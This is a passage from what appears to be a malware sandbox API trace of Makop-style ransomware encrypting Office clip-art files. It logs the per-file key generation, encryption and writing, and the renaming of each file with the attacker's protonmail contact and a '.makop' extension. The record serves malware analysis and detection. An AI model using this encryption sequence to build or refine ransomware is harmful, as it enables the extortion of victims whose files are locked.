Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0120.490] GetProcessHeap () returned 0x48a0000 [0120.490] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0120.490] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0120.490] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0120.491] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.491] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.491] GetProcessHeap () returned 0x48a0000 [0120.491] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0120.491] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0120.491] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.492] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0120.496] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.496] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0120.496] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0120.496] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0120.496] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.496] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.496] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.497] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.497] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4c90, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4c90, lpOverlapped=0x0) returned 1 [0120.498] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4c90, dwBufLen=0x4c90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4c90) returned 1 [0120.498] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.499] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4c90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4c90, lpOverlapped=0x0) returned 1 [0120.499] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.499] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4d64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.499] SetEndOfFile (hFile=0xf0) returned 1 [0120.506] GetProcessHeap () returned 0x48a0000 [0120.506] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0120.506] GetProcessHeap () returned 0x48a0000 [0120.506] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0120.506] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0120.506] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0120.509] CloseHandle (hObject=0xf0) returned 1 [0120.509] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x864, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106572.WMF", cAlternateFileName="")) returned 1 [0120.509] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0120.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0120.524] GetProcessHeap () returned 0x48a0000 [0120.524] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0120.524] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0120.524] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0120.524] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0120.529] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.529] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.529] GetProcessHeap () returned 0x48a0000 [0120.529] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0120.529] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0120.529] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.529] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0120.529] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.529] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0120.530] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0120.530] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0120.530] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.530] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.530] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.530] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.530] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x864, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x864, lpOverlapped=0x0) returned 1 [0120.530] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x870, dwBufLen=0x870 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x870) returned 1 [0120.530] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.531] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x870, lpOverlapped=0x0) returned 1 [0120.531] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.531] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.531] SetEndOfFile (hFile=0xf0) returned 1 [0120.538] GetProcessHeap () returned 0x48a0000 [0120.538] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0120.538] GetProcessHeap () returned 0x48a0000 [0120.538] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0120.538] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0120.538] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0120.540] CloseHandle (hObject=0xf0) returned 1 [0120.540] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106816.WMF", cAlternateFileName="")) returned 1 [0120.540] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0120.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0120.541] GetProcessHeap () returned 0x48a0000 [0120.541] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0120.541] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0120.541] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0120.541] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0120.546] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.546] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.546] GetProcessHeap () returned 0x48a0000 [0120.546] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0120.546] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0120.546] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.546] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0120.546] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.546] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0120.547] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0120.547] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0120.547] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.547] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.547] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.547] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.547] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd04, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xd04, lpOverlapped=0x0) returned 1 [0120.547] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd10, dwBufLen=0xd10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd10) returned 1 [0120.547] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.548] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xd10, lpOverlapped=0x0) returned 1 [0120.548] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.548] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xde4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.548] SetEndOfFile (hFile=0xf0) returned 1 [0120.595] GetProcessHeap () returned 0x48a0000 [0120.596] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0120.596] GetProcessHeap () returned 0x48a0000 [0120.596] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0120.596] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0120.596] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0120.597] CloseHandle (hObject=0xf0) returned 1 [0120.598] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x35d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106958.WMF", cAlternateFileName="")) returned 1 [0120.598] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0120.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0120.598] GetProcessHeap () returned 0x48a0000 [0120.598] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0120.599] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0120.599] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0120.599] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.604] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.605] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.605] GetProcessHeap () returned 0x48a0000 [0120.605] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0120.605] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0120.605] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.605] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0120.605] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.605] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0120.605] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0120.606] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0120.606] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.606] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.606] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.606] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.606] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x35d8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x35d8, lpOverlapped=0x0) returned 1 [0120.608] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x35e0, dwBufLen=0x35e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x35e0) returned 1 [0120.608] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.608] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x35e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x35e0, lpOverlapped=0x0) returned 1 [0120.608] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.608] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x36b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.609] SetEndOfFile (hFile=0xf0) returned 1 [0120.616] GetProcessHeap () returned 0x48a0000 [0120.616] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0120.616] GetProcessHeap () returned 0x48a0000 [0120.616] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0120.616] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0120.616] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0120.618] CloseHandle (hObject=0xf0) returned 1 [0120.618] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, 